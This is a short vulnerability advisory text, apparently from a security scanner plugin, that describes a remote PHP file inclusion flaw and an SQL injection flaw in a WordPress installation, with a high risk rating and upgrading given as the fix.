It is possible to make the remote host include php files hosted
on a third party server using the WordPress CGI suite which is installed
(which is also vulnerable to a SQL injection attack).

An attacker may use this flaw to inject arbitrary code in the remote
host and gain a shell with the privileges of the web server or
to take the control of the remote database.

Solution : Upgrade to the latest version.
Risk factor : High";
